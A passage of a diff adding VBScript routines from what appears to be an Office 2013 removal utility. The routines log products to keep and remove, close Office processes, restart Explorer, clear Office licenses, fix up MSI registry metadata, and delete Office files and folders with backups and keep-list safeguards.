+    SkuLog.WriteLine vbCrLf & "Installed Products (All):"
+    SkuLog.WriteLine          "========================="
+    For Each p in oMsi.Products
+        If InScope(p) Then
+            SkuLog.Write " - " & p & " - "
+            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+            SkuLog.WriteLine " "
+        End If
+    Next 'Product
+
+    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
+
+    SkuLog.WriteLine vbCrLf & "SKUs to keep:"
+    SkuLog.WriteLine          "============="
+    For Each SkuKey in dictionaryKeepSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Products to keep:"
+    SkuLog.WriteLine          "================="
+    For Each p in dictionaryKeepProd.Keys
+        SkuLog.Write " - " & p & " - "
+        SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+        SkuLog.WriteLine " "
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
+
+    SkuLog.WriteLine vbCrLf & "SKUs to remove:"
+    SkuLog.WriteLine          "==============="
+    For Each SkuKey in dicRemoveSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Products to remove:"
+    SkuLog.WriteLine          "==================="
+    For Each p in oMsi.Products
+        If CheckDeleteEx(p) Then
+            SkuLog.Write " - " & p & " - "
+            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+            SkuLog.WriteLine " "
+        End If 'InScope
+    Next 'Product
+
+    SkuLog.Close
+    Set SkuLog = Nothing
+
+End Sub 'LogSkuResults
+'=======================================================================================================
+
+'End all running instances of applications that will be removed
+Sub CloseOfficeApps
+    Dim Processes, Process, prop
+    Dim fWait
+    Dim iRet
+
+    On Error Resume Next
+
+    fWait = False
+    Log " Doing Action: CloseOfficeApps"
+
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process")
+    For Each Process in Processes
+        If dicApps.Exists(LCase(Process.Name)) Then
+            Log " - End process " & Process.Name
+            iRet = Process.Terminate()
+            CheckError "CloseOfficeApps: " & "Process.Name"
+        Else
+            For Each prop in Process.Properties_
+                If prop.Name = "ExecutablePath" Then
+                    If InStr(UCase(prop.Value), UCase(sOInstallRoot)) > 0 Then
+                        Log " - End process '" & Process.Name
+                        iRet = Process.Terminate()
+                        CheckError "CloseOfficeApps: " & "Process.Name"
+                        fWait = True
+                    End If
+                End If 'ExcecutablePath
+            Next 'prop
+        End If
+    Next 'Process
+    If fWait Then
+        wscript.sleep 10000
+    End If
+    LogOnly " End Action: CloseOfficeApps"
+End Sub 'CloseOfficeApps
+'=======================================================================================================
+
+'Ensure Windows Explorer is restarted if needed
+Sub RestoreExplorer
+    Dim Processes, Result, oAT, DateTime, JobID
+    Dim sCmd
+
+    'Non critical routine. Don't fail on error
+    On Error Resume Next
+    wscript.sleep 1000
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='explorer.exe'")
+    If Processes.Count < 1 Then
+        oWShell.Run "explorer.exe"
+        'To handle this in case of System context, schedule and run as interactive task
+        If iVersionNT > 502 Then
+            'Vista and later
+            oWShell.Run "SCHTASKS /Create /TN OffScrEx /TR explorer /SC ONCE /ST 12:00 /IT",0,True
+            oWShell.Run "SCHTASKS /Run /TN OffScrEx", 0, True
+            oWShell.Run "SCHTASKS /Delete /TN OffScrEx /F", 0, False
+        Else
+            Set oAT = oWmiLocal.Get("Win32_ScheduledJob")
+            Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
+            DateTime.SetVarDate DateAdd("n",1,Now),True
+            Result = oAT.Create("explorer.exe", DateTime.Value, , , , True, JobID)
+        End If 'iVersionNT
+    End If
+End Sub 'RestoreExploer
+'=======================================================================================================
+
+'Returns the delimiter for a passed in string
+Function Delimiter (sVersion)
+
+    Dim iCnt, iAsc
+
+    Delimiter = " "
+    For iCnt = 1 To Len(sVersion)
+        iAsc = Asc(Mid(sVersion, iCnt, 1))
+        If Not (iASC >= 48 And iASC <= 57) Then
+            Delimiter = Mid(sVersion, iCnt, 1)
+            Exit Function
+        End If
+    Next 'iCnt
+End Function
+'=======================================================================================================
+
+'Check registry access permissions. Failure will terminate the script
+Function CheckRegPermissions
+    Const KEY_QUERY_VALUE       = &H0001
+    Const KEY_SET_VALUE         = &H0002
+    Const KEY_CREATE_SUB_KEY    = &H0004
+    Const DELETE                = &H00010000
+
+    Dim sSubKeyName
+    Dim fReturn
+
+    CheckRegPermissions = True
+    sSubKeyName = "Software\Microsoft\Windows\"
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_QUERY_VALUE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_SET_VALUE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_CREATE_SUB_KEY, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, DELETE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+
+End Function 'CheckRegPermissions
+'=======================================================================================================
+
+'Check if a product will be removed
+Function CheckDeleteEx (sProductCode)
+
+    CheckDeleteEx = False
+    If CheckDelete (sProductCode) Then
+        CheckDeleteEx = True
+        Exit Function
+    End If
+    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
+        CheckDeleteEx = InScope(sProductCode) AND NOT dictionaryKeepProd.Exists(UCase(sProductCode))
+    End If
+End Function 'CheckDelete
+'=======================================================================================================
+
+'Check if an Office product is still registered with a SKU that stays on the computer
+Function CheckDelete (sProductCode)
+
+    'Ensure valid GUID length
+    If NOT Len(sProductCode) = 38 Then
+        CheckDelete = False
+        Exit Function
+    End If
+
+    'If it's a non Office ProductCode exit with false right away
+    CheckDelete = InScope(sProductCode)
+    If Not CheckDelete Then Exit Function
+    If dictionaryKeepProd.Exists(UCase(sProductCode)) Then CheckDelete = False
+
+End Function 'CheckDelete
+'=======================================================================================================
+
+'Check if ProductCode is in scope
+Function InScope(sProductCode)
+
+    Dim fInScope
+    Dim sProd
+
+    fInScope = False
+    If Len(sProductCode) = 38 Then
+        sProd = UCase(sProductCode)
+        Select Case OVERSIONMAJOR
+        Case "11"
+            If Right(sProd,PRODLEN)=OFFICEID Then fInScope = True
+        Case "12"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
+        Case "14"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
+        Case "15"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then
+                Select Case Mid(sProd, 11, 4)
+                Case "007E", "008F", "008C", "24E1", "237A"
+                    ' C2R products - keep them
+                Case Else
+                    fInScope = True
+                End Select
+            End If
+        Case Else
+        End Select
+    End If '38
+
+    InScope = fInScope
+End Function 'InScope
+'=======================================================================================================
+
+'Register an orphaned .msi product as installed for MSI
+Sub MsiRegisterProduct (sMsiFile)
+
+    Dim sDisplayVersion, sCurKey, sDisplayName, sLang, sProductCode, sTmpKey
+    Dim iCnt
+
+    'Create a temporary keys to simulate an installed product
+    sProductCode = ""
+    sProductCode = GetMsiProductCode(sMsiFile)
+    sDisplayVersion = GetMsiProductVersion(sMsiFile)
+    If sDisplayVersion = "" Then sDisplayVersion = OVERSION & ".0000.0000"
+    sDisplayName = GetMsiProductName(sMsiFile)
+    If sDisplayName = "" Then sDisplayName = sProductCode
+    Select Case OVERSIONMAJOR
+    Case "9","10","11"
+        sLang = CInt("&h" & Mid(sProductCode,6,4))
+    Case "12","14"
+        sLang = CInt("&h" & Mid(sProductCode,16,4))
+    Case Else
+    End Select
+
+    For iCnt = 1 To 3
+        Select Case iCnt
+        Case 1
+            sCurKey = REG_ARP & sProductCode
+            oReg.CreateKey HKLM,sCurKey
+        Case 2
+            sCurKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\" & GetCompressedGuid(sProductCode)
+            oReg.CreateKey HKLM,sCurKey
+            oReg.CreateKey HKLM,sCurKey & "\Features"
+            oReg.CreateKey HKLM,sCurKey & "\InstallProperties"
+            oReg.CreateKey HKLM,sCurKey & "\Patches"
+            oReg.CreateKey HKLM,sCurKey & "\Usage"
+            sCurKey = sCurKey & "\InstallProperties"
+            oReg.SetStringValue HKLM,sCurKey,"LocalPackage",sMsiFile
+        Case 3
+            sCurKey = "Installer\Products\" & GetCompressedGuid(sProductCode)
+            sTmpKey = sCurKey
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetDWordValue HKCR,sCurKey,"AdvertiseFlags",388
+            oReg.SetDWordValue HKCR,sCurKey,"Assignment",1
+            oReg.SetDWordValue HKCR,sCurKey,"AuthorizedLUAApp",0
+            oReg.SetStringValue HKCR,sCurKey,"Clients",":"
+            oReg.SetDWordValue HKCR,sCurKey,"DeploymentFlags",3
+            oReg.SetDWordValue HKCR,sCurKey,"InstanceType",0
+            oReg.SetDWordValue HKCR,sCurKey,"Language",sLang
+            oReg.SetStringValue HKCR,sCurKey,"PackageCode",GetMsiPackageCode(sMsiFile)
+            oReg.SetStringValue HKCR,sCurKey,"ProductName",sDisplayName
+            oReg.SetDWordValue HKCR,sCurKey,"VersionMinor",0
+            sCurKey = sTmpKey & "\SourceList"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetExpandedStringValue HKCR,sCurKey,"LastUsedSource",sScrubDir
+            oReg.SetStringValue HKCR,sCurKey,"PackageName",Mid(sMsiFile,InstrRev(sMsiFile,"\")+1)
+            sCurKey = sTmpKey & "\SourceList\Media"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetStringValue HKCR,sCurKey,"1",OREF & ";1"
+            oReg.SetStringValue HKCR,sCurKey,"DiskPrompt",sDisplayName
+            sCurKey = sTmpKey & "\SourceList\Net"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetExpandedStringValue HKCR,sCurKey,"1",sScrubDir
+
+        Case Else
+        End Select
+        If iCnt <3 Then
+            oReg.SetStringValue HKLM,sCurKey,"Comments",""
+            oReg.SetStringValue HKLM,sCurKey,"Contact",""
+            oReg.SetStringValue HKLM,sCurKey,"DisplayName",sDisplayName
+            oReg.SetStringValue HKLM,sCurKey,"DisplayVersion",sDisplayVersion
+            oReg.SetDWordValue HKLM,sCurKey,"EstimatedSize",0
+            oReg.SetStringValue HKLM,sCurKey,"HelpLink",""
+            oReg.SetStringValue HKLM,sCurKey,"HelpTelephone",""
+            oReg.SetStringValue HKLM,sCurKey,"InstallDate","20100101"
+            If f64 Then
+                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFilesX86
+            Else
+                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFiles
+            End If
+            oReg.SetStringValue HKLM,sCurKey,"InstallSource",sScrubDir
+            oReg.SetDWordValue HKLM,sCurKey,"Language",sLang
+            oReg.SetExpandedStringValue HKLM,sCurKey,"ModifyPath","MsiExec.exe /X" & sProductCode
+            oReg.SetDWordValue HKLM,sCurKey,"NoModify",1
+            oReg.SetStringValue HKLM,sCurKey,"Publisher","Microsoft Corporation"
+            oReg.SetStringValue HKLM,sCurKey,"Readme",""
+            oReg.SetStringValue HKLM,sCurKey,"Size",""
+            oReg.SetDWordValue HKLM,sCurKey,"SystemComponent",0
+            oReg.SetExpandedStringValue HKLM,sCurKey,"UninstallString","MsiExec.exe /X" & sProductCode
+            oReg.SetStringValue HKLM,sCurKey,"URLInfoAbout",""
+            oReg.SetStringValue HKLM,sCurKey,"URLUpdateInfo",""
+            oReg.SetDWordValue HKLM,sCurKey,"Version",0
+            oReg.SetDWordValue HKLM,sCurKey,"VersionMajor",OVERSIONMAJOR
+            oReg.SetDWordValue HKLM,sCurKey,"VersionMinor",0
+            oReg.SetDWordValue HKLM,sCurKey,"WindowsInstaller",1
+        End If '< 3
+    Next 'iCnt
+
+End Sub 'MsiRegisterProduct
+'=======================================================================================================
+
+'Obtain the ProductCode (GUID) from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductCode(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductCode = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductCode'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductCode = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductCode
+'=======================================================================================================
+
+'Obtain the ProductVersion from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductVersion(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductVersion = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductVersion'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductVersion = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductVersion
+'=======================================================================================================
+
+'Obtain the ProductVersion from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductName(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductName = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductName'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductName = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductVersion
+'=======================================================================================================
+
+'Obtain the PackageCode (GUID) from a .msi package
+'The function will the .msi'S SummaryInformation stream
+Function GetMsiPackageCode(sMsiFile)
+
+    On Error Resume Next
+
+    Const PID_REVNUMBER = 9
+
+    GetMsiPackageCode = ""
+    GetMsiPackageCode = GetCompressedGuid(oMsi.SummaryInformation(sMsiFile,MSIOPENDATABASEREADONLY).Property(PID_REVNUMBER))
+
+End Function 'GetMsiPackageCode
+'=======================================================================================================
+
+'Returns a string with a list of ProductCodes from the summary information stream
+Function MspTargets (sMspFile)
+    Const MSIOPENDATABASEMODE_PATCHFILE = 32
+    Const PID_TEMPLATE                  =  7
+
+    Dim Msp
+    'Non critical routine. Don't fail on error
+    On Error Resume Next
+    MspTargets = ""
+    If oFso.FileExists(sMspFile) Then
+        Set Msp = Msi.OpenDatabase(WScript.Arguments(0),MSIOPENDATABASEMODE_PATCHFILE)
+        If Err = 0 Then MspTargets = Msp.SummaryInformation.Property(PID_TEMPLATE)
+    End If 'oFso.FileExists(sMspFile)
+End Function 'MspTargets
+'=======================================================================================================
+
+'Return the ProductCode {{GUID} from a .MSI package
+Function ProductCode(sMsi)
+    Const MSIUILEVELNONE = 2 'No UI
+    Dim MsiSession
+
+    On Error Resume Next
+    'Non critical routine. Don't fail on error
+    If oFso.FileExists(sMsi) Then
+        oMsi.UILevel = MSIUILEVELNONE
+        Set MsiSession = oMsi.OpenPackage(sMsi,1)
+        ProductCode = MsiSession.ProductProperty("ProductCode")
+        Set MsiSession = Nothing
+    Else
+        ProductCode = ""
+    End If 'oFso.FileExists(sMsi)
+End Function 'ProductCode
+'=======================================================================================================
+
+Function GetUpgradeCode(sGuid)
+
+    'Ensure Valid Length
+    If NOT Len(sGuid) = 38 Then Exit Function
+
+    GetUpgradeCode = "{{00" & Mid(sGuid, 4, 2) & "0000-" & Mid(sGuid, 11, 4) & "-0000-" & Mid(sGuid, 21, 1) & "000-" & Mid(sGuid, 26, 1) & "000000FF1CE}"
+
+End Function 'GetUpgradeCode
+'=======================================================================================================
+
+Function GetExpandedGuid (sGuid)
+    Dim i
+
+    'Ensure valid length
+    If NOT Len(sGuid) = 32 Then Exit Function
+
+    GetExpandedGuid = "{{" & StrReverse(Mid(sGuid,1,8)) & "-" & _
+                       StrReverse(Mid(sGuid,9,4)) & "-" & _
+                       StrReverse(Mid(sGuid,13,4))& "-"
+    For i = 17 To 20
+	    If i Mod 2 Then
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
+	    Else
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
+	    End If
+    Next
+    GetExpandedGuid = GetExpandedGuid & "-"
+    For i = 21 To 32
+	    If i Mod 2 Then
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
+	    Else
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
+	    End If
+    Next
+    GetExpandedGuid = GetExpandedGuid & "}"
+End Function
+'=======================================================================================================
+
+'Converts a GUID into the compressed format
+Function GetCompressedGuid (sGuid)
+    Dim sCompGUID
+    Dim i
+
+    'Ensure Valid Length
+    If NOT Len(sGuid) = 38 Then Exit Function
+
+    sCompGUID = StrReverse(Mid(sGuid,2,8))  & _
+                StrReverse(Mid(sGuid,11,4)) & _
+                StrReverse(Mid(sGuid,16,4))
+    For i = 21 To 24
+	    If i Mod 2 Then
+		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
+	    Else
+		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
+	    End If
+    Next
+    For i = 26 To 37
+	    If i Mod 2 Then
+		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
+	    Else
+		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
+	    End If
+    Next
+    GetCompressedGuid = sCompGUID
+End Function
+'=======================================================================================================
+
+'Unsquish GUID
+Function GetDecodedGuid(sEncGuid, sGuid)
+
+Dim sDecode, sTable, sHex, iChr
+Dim arrTable
+Dim i, iAsc, pow85, decChar
+Dim lTotal
+Dim fFailed
+
+    fFailed = False
+
+    sTable =    "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
+                "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
+                "0xff,0x00,0xff,0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0xff," & _
+                "0x0c,0x0d,0x0e,0x0f,0x10,0x11,0x12,0x13,0x14,0x15,0xff,0xff,0xff,0x16,0xff,0x17," & _
+                "0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27," & _
+                "0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0xff,0x34,0x35,0x36," & _
+                "0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,0x40,0x41,0x42,0x43,0x44,0x45,0x46," & _
+                "0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0xff,0x53,0x54,0xff"
+    arrTable = Split(sTable,",")
+    lTotal = 0 : pow85 = 1
+    For i = 0 To 19
+        fFailed = True
+        If i Mod 5 = 0 Then
+            lTotal = 0 : pow85 = 1
+        End If ' i Mod 5 = 0
+        iAsc = Asc(Mid(sEncGuid,i+1,1))
+        sHex = arrTable(iAsc)
+        If iAsc >=128 Then Exit For
+        If sHex = "0xff" Then Exit For
+        iChr = CInt("&h"&Right(sHex,2))
+        lTotal = lTotal + (iChr * pow85)
+        If i Mod 5 = 4 Then sDecode = sDecode & DecToHex(lTotal)
+        pow85 = pow85 * 85
+        fFailed = False
+    Next 'i
+    If NOT fFailed Then sGuid = "{{"&Mid(sDecode,1,8)&"-"& _
+                                Mid(sDecode,13,4)&"-"& _
+                                Mid(sDecode,9,4)&"-"& _
+                                Mid(sDecode,23,2) & Mid(sDecode,21,2)&"-"& _
+                                Mid(sDecode,19,2) & Mid(sDecode,17,2) & Mid(sDecode,31,2) & Mid(sDecode,29,2) & Mid(sDecode,27,2) & Mid(sDecode,25,2) &"}"
+
+    GetDecodedGuid = NOT fFailed
+
+End Function 'GetDecodedGuid
+'=======================================================================================================
+
+'Convert a long decimal to hex
+Function DecToHex(lDec)
+
+    Dim sHex
+    Dim iLen
+    Dim lVal, lExp
+    Dim arrChr
+
+    arrChr = Array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F")
+    sHex = ""
+    lVal = lDec
+    lExp = 16^10
+    While lExp >= 1
+        If lVal >= lExp Then
+            sHex = sHex & arrChr(Int(lVal / lExp))
+            lVal = lVal - lExp * Int(lVal / lExp)
+        Else
+            sHex = sHex & "0"
+            If sHex = "0" Then sHex = ""
+        End If
+        lExp = lExp / 16
+    Wend
+
+    iLen = 8 - Len(sHex)
+    If iLen > 0 Then sHex = String(iLen,"0") & sHex
+    DecToHex = sHex
+End Function
+'=======================================================================================================
+
+'Ensures that only valid metadata entries exist to avoid API failures
+Sub EnsureValidWIMetadata (hDefKey,sKey,iValidLength)
+
+Dim arrKeys
+Dim SubKey
+
+If Len(sKey) > 1 Then
+    If Right(sKey,1) = "\" Then sKey = Left(sKey,Len(sKey)-1)
+End If
+
+If RegEnumKey(hDefKey,sKey,arrKeys) Then
+    For Each SubKey in arrKeys
+        If NOT Len(SubKey) = iValidLength Then
+            RegDeleteKey hDefKey,sKey & "\" & SubKey & "\"
+        End If
+    Next 'SubKey
+End If
+
+End Sub 'EnsureValidWIMetadata
+'=======================================================================================================
+
+'-------------------------------------------------------------------------------
+'   CleanOSPP
+'
+'   Clean out licenses from the Office Software Protection Platform
+'-------------------------------------------------------------------------------
+Sub CleanOSPP
+    Dim oProductInstances, pi
+    Dim sCleanOSPP, sCmd, sRetVal
+
+    CONST OfficeAppId = "0ff1ce15-a989-479d-af46-f275c6370663"  'Office 2013
+
+    sCleanOSPP = "x64\CleanOSPP.exe"
+    If Not f64 Then sCleanOSPP = "x86\CleanOSPP.exe"
+    If oFso.FileExists(sScriptDir & sCleanOSPP) Then
+        sCmd = sScriptDir & sCleanOSPP
+        Log "   Running: " & sCmd
+        On Error Resume Next
+        sRetVal = oWShell.Run(sCmd, 0, True)
+        Log "   Return value: " & sRetVal
+        On Error Goto 0
+        Exit Sub
+    End If
+
+    On Error Resume Next
+    ' Initialize the software protection platform object with a filter on Office 2013 products
+    If iVersionNT > 601 Then
+        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM SoftwareLicensingProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
+    Else
+        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM OfficeSoftwareProtectionProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
+    End If
+
+    ' Remove all licenses
+    For Each pi in oProductInstances
+        If NOT IsNull(pi) Then
+            pi.UninstallProductKey( pi.ProductKeyID)
+        End If
+    Next 'pi
+
+End Sub 'CleanOSPP
+'=======================================================================================================
+
+
+'Create a backup copy of the file in the ScrubDir then delete the file
+Sub CopyAndDeleteFile(sFile)
+    Dim File
+
+    'Error handling inlined
+    On Error Resume Next
+    If oFso.FileExists(sFile) Then
+        Set File = oFso.GetFile(sFile)
+        If Not oFso.FolderExists(sScrubDir & "\" & File.ParentFolder.Name) Then oFso.CreateFolder sScrubDir & "\" & File.ParentFolder.Name
+        If Not fDetectOnly Then
+            LogOnly " - Backing up file: " & sFile
+            oFso.CopyFile sFile,sScrubDir & "\" & File.ParentFolder.Name & "\" & File.Name,True : CheckError "CopyAndDeleteFile"
+            Set File = Nothing
+            DeleteFile(sFile)
+        Else
+            LogOnly " - Simulate CopyAndDelete file: " & sFile
+        End If
+    End If 'oFso.FileExists
+End Sub 'CopyAndDeleteFile
+'=======================================================================================================
+
+'Wrapper to delete a file
+Sub DeleteFile(sFile)
+    Dim File
+    Dim sFileName, sNewPath
+
+    On Error Resume Next
+
+    If dictionaryKeepFolder.Exists(LCase(sFile)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFile
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFile))) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFile
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+        End If
+    End If
+
+    If oFso.FileExists(sFile) Then
+        LogOnly " - Delete file: " & sFile
+        If Not fDetectOnly Then oFso.DeleteFile sFile,True
+        If Err <> 0 Then
+            CheckError "DeleteFile"
+            If fForce Then
+                'Try to move the file and delete from there
+                Set File = oFso.GetFile(sFile)
+                sFileName = File.Name
+                sNewPath = sScrubDir & "\ScrubTmp"
+                Set File = Nothing
+                If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
+                'Move the file
+                LogOnly " - Move file to: " & sNewPath & "\" & sFileName
+                oFso.MoveFile sFile,sNewPath & "\" & sFileName
+                If Err <> 0 Then
+                    CheckError "DeleteFile (move)"
+                End If 'Err <> 0
+            Else
+                fRebootRequired = True
+            End If 'fForce
+        End If 'Err <> 0
+    End If 'oFso.FileExists
+End Sub 'DeleteFile
+'=======================================================================================================
+
+'64 bit aware wrapper to return the requested folder
+Function GetFolderPath(sPath)
+    GetFolderPath = True
+    If oFso.FolderExists(sPath) Then Exit Function
+    If f64 AND oFso.FolderExists(Wow64Folder(sPath)) Then
+        sPath = Wow64Folder(sPath)
+        Exit Function
+    End If
+    GetFolderPath = False
+End Function 'GetFolderPath
+'=======================================================================================================
+
+'Enumerates subfolder names of a folder and returns True if subfolders exist
+Function EnumFolderNames (sFolder, arrSubFolders)
+    Dim Folder, Subfolder
+    Dim sSubFolders
+
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Name & ","
+        Next 'Subfolder
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Name & ","
+        Next 'Subfolder
+    End If
+    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
+    EnumFolderNames = Len(sSubFolders)>0
+End Function 'EnumFolderNames
+'=======================================================================================================
+
+'Enumerates subfolders of a folder and returns True if subfolders exist
+Function EnumFolders (sFolder, arrSubFolders)
+    Dim Folder, Subfolder
+    Dim sSubFolders
+
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Path & ","
+        Next 'Subfolder
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Path & ","
+        Next 'Subfolder
+    End If
+    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
+    EnumFolders = Len(sSubFolders)>0
+End Function 'EnumFolders
+'=======================================================================================================
+
+Sub GetMseFolderStructure (Folder)
+    Dim SubFolder
+
+    For Each SubFolder in Folder.SubFolders
+        ReDim Preserve arrMseFolders(UBound(arrMseFolders)+1)
+        arrMseFolders(UBound(arrMseFolders)) = SubFolder.Path
+        GetMseFolderStructure SubFolder
+    Next 'SubFolder
+End Sub 'GetMseFolderStructure
+'=======================================================================================================
+
+'Wrapper to delete a folder
+Sub DeleteFolder(sFolder)
+    Dim Folder
+    Dim sDelFolder, sFolderName, sNewPath
+
+    'Ensure trailing "\"
+    sFolder = sFolder & "\"
+    While InStr(sFolder,"\\")>0
+        sFolder = Replace(sFolder,"\\","\")
+    Wend
+
+    If dictionaryKeepFolder.Exists(LCase(sFolder)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFolder
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFolder))) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFolder
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+        End If
+    End If
+
+    'Strip trailing "\"
+    If Len(sFolder) > 1 Then
+        sFolder = Left(sFolder,Len(sFolder)-1)
+    End If
+
+    On Error Resume Next
+    If oFso.FolderExists(sFolder) Then
+        sDelFolder = sFolder
+    ElseIf f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        sDelFolder = Wow64Folder(sFolder)
+    Else
+        Exit Sub
+    End If
+    If Not fDetectOnly Then
+        LogOnly " - Delete folder: " & sDelFolder
+        oFso.DeleteFolder sDelFolder,True
+    Else
